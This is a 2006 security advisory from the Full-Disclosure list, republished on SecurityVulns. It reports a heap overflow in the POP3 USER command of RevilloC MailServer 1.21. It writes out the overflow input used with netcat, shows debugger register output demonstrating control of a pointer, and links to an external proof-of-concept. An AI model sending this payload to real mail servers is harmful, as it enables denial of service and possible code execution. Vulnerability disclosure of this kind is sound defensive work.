[Full-disclosure] RevilloC mail server USER command heap overflow

2006-03-08T00:00:00
ID SECURITYVULNS:DOC:11749
Type securityvulns
Reporter Securityvulns
Modified 2006-03-08T00:00:00

Description

1-title: Revilloc mail server "USER" command heap overflow

Product: Revilloc MailServer and Proxy v 1.21 (http://www.revilloC.com) The mail server is a central point for emails coming in and going out from home or office The service will work with any standard email client that supports POP3 and SMTP.

2-Vulnerability Description: sending a large buffer after USER commands C:\>nc 127.0.0.1 110 +OK RevilloC POP3 Ready USER "A" x4081 + "\xff"x4 + "\xdd"x4 + "\x0d\x0a" causes access violation when reading [dddddddd]. ntdll!wcsncat+0x387: 7C92B3FB 8B0B MOV ECX,DWORD PTR DS:[EBX]--->EBX pointe to "\xdd"x4 ECX dddddddd EAX FFFFFFFF

3-Status: 14/01/2006 Vendor contacted,No response

4-solution: no patch no solution...use another mail server

5-credit: securma massine from MorX Security Research Team

6-PoC/Exploit at: http://www.morx.org/rev.txt


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